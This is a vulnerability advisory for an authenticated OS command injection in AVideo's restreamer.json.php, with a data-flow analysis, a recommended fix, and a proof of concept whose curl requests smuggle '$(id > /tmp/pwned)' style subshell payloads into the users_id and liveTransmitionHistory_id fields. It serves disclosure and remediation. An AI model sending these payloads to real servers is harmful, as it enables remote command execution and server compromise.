CVE-2026-33648

Description

## Summary The restreamer endpoint constructs a log file path by embedding user-controlled `users_id` and `liveTransmitionHistory_id` values from the JSON request body without any sanitization. This log file path is then concatenated directly into shell commands passed to `exec()`, allowing an authenticated user to achieve arbitrary command execution on the server via shell metacharacters such as `$()` or backticks. ## Details The vulnerability exists in `plugin/Live/standAloneFiles/restreamer.json.php`. The data flow is: **1. User input ingestion** (line 220): ```php $request = file_get_contents("php://input"); $robj = json_decode($request); ``` **2. Log file template** (line 58): ```php $logFile = $logFileLocation . "ffmpeg_restreamer_{users_id}_" . date("Y-m-d-h-i-s") . ".log"; ``` **3. `users_id` injected without sanitization** (line 318): ```php $obj->logFile = str_replace('{users_id}', $robj->users_id, $logFile); ``` **4. `liveTransmitionHistory_id` injected without sanitization** (line 407): ```php $pid[] = startRestream($m3u8, [$value], str_replace(".log", "_{$key}_{$robj->liveTransmitionHistory_id}_{$host}.log", $logFile), $robj); ``` Note: `intval()` is applied to `liveTransmitionHistory_id` in the separate `getProcess()` function (line 805), but NOT in the `runRestream()` path that constructs the log file. **5. Unsanitized log file path passed to `exec()`** (lines 720, 723): ```php // Line 720 (remote ffmpeg path): execFFMPEGAsyncOrRemote($command . ' > ' . $logFile . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG); // Line 723 (direct execution fallback): exec($command . ' > ' . $logFile . ' 2>&1 &'); ``` The code sanitizes stream URLs via `clearCommandURL()` and uses `escapeshellarg()` for pgrep patterns elsewhere, but completely neglects the log file path — a classic oversight where one injection vector is hardened while an adjacent one is left open. ## PoC **Prerequisites:** A valid AVideo account with live streaming permissions and a valid restream token. **Step 1:** Obtain a valid live streaming token by starting a live stream through the AVideo interface, or by calling the live API. **Step 2:** Send a crafted restream request with shell metacharacters in `users_id`: ```bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALID_TOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALID_TOKEN"], "users_id": "x$(id > /tmp/pwned)x", "liveTransmitionHistory_id": "1" }' ``` **Step 3:** The resulting exec call becomes: ``` ffmpeg ... > /var/www/tmp/ffmpeg_restreamer_x$(id > /tmp/pwned)x_2026-03-20-... .log 2>&1 & ``` The `$()` subshell executes `id > /tmp/pwned` before the redirection is processed. **Step 4:** Verify command execution: ```bash curl -k "https://TARGET/tmp/pwned" # Expected: output of `id` command showing the web server user ``` The same vector works through `liveTransmitionHistory_id`: ```bash curl -k -X POST "https://TARGET/plugin/Live/standAloneFiles/restreamer.json.php" \ -H "Content-Type: application/json" \ -d '{ "token": "VALID_TOKEN", "m3u8": "https://example.com/stream.m3u8", "restreamsDestinations": ["rtmp://example.com/live/key"], "restreamsToken": ["VALID_TOKEN"], "users_id": "1", "liveTransmitionHistory_id": "1$(whoami > /tmp/pwned2)1" }' ``` ## Impact An authenticated user with restream permissions can execute arbitrary OS commands on the server with the privileges of the web server process. This allows: - **Full server compromise**: Reading sensitive files (`/etc/passwd`, database credentials, `.env` files) - **Data exfiltration**: Accessing the AVideo database and all user data - **Lateral movement**: Using the compromised server as a pivot point - **Service disruption**: Killing processes, modifying or deleting files - **Persistent backdoor**: Installing web shells or cron jobs for ongoing access The authentication requirement (PR:L) limits this to users who have been granted streaming access, but in many AVideo deployments user registration is open, making this effectively a low-barrier attack. ## Recommended Fix Sanitize both `users_id` and `liveTransmitionHistory_id` immediately after input, and use `escapeshellarg()` on the log file path before shell execution. **In `restreamer.json.php`, after line 220 (input decoding), add input sanitization:** ```php $robj = json_decode($request); // Sanitize fields that will be used in file paths and shell commands if (isset($robj->users_id)) { $robj->users_id = preg_replace('/[^a-zA-Z0-9_-]/', '', $robj->users_id); } if (isset($robj->liveTransmitionHistory_id)) { $robj->liveTransmitionHistory_id = intval($robj->liveTransmitionHistory_id); } ``` **At lines 720 and 723, use `escapeshellarg()` on the log file path:** ```php // Line 720: execFFMPEGAsyncOrRemote($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 ', $keyword, '', $restreamStandAloneFFMPEG); // Line 723: exec($command . ' > ' . escapeshellarg($logFile) . ' 2>&1 &'); ``` Both fixes should be applied — input sanitization as defense-in-depth, and `escapeshellarg()` as the direct mitigation at the point of shell execution.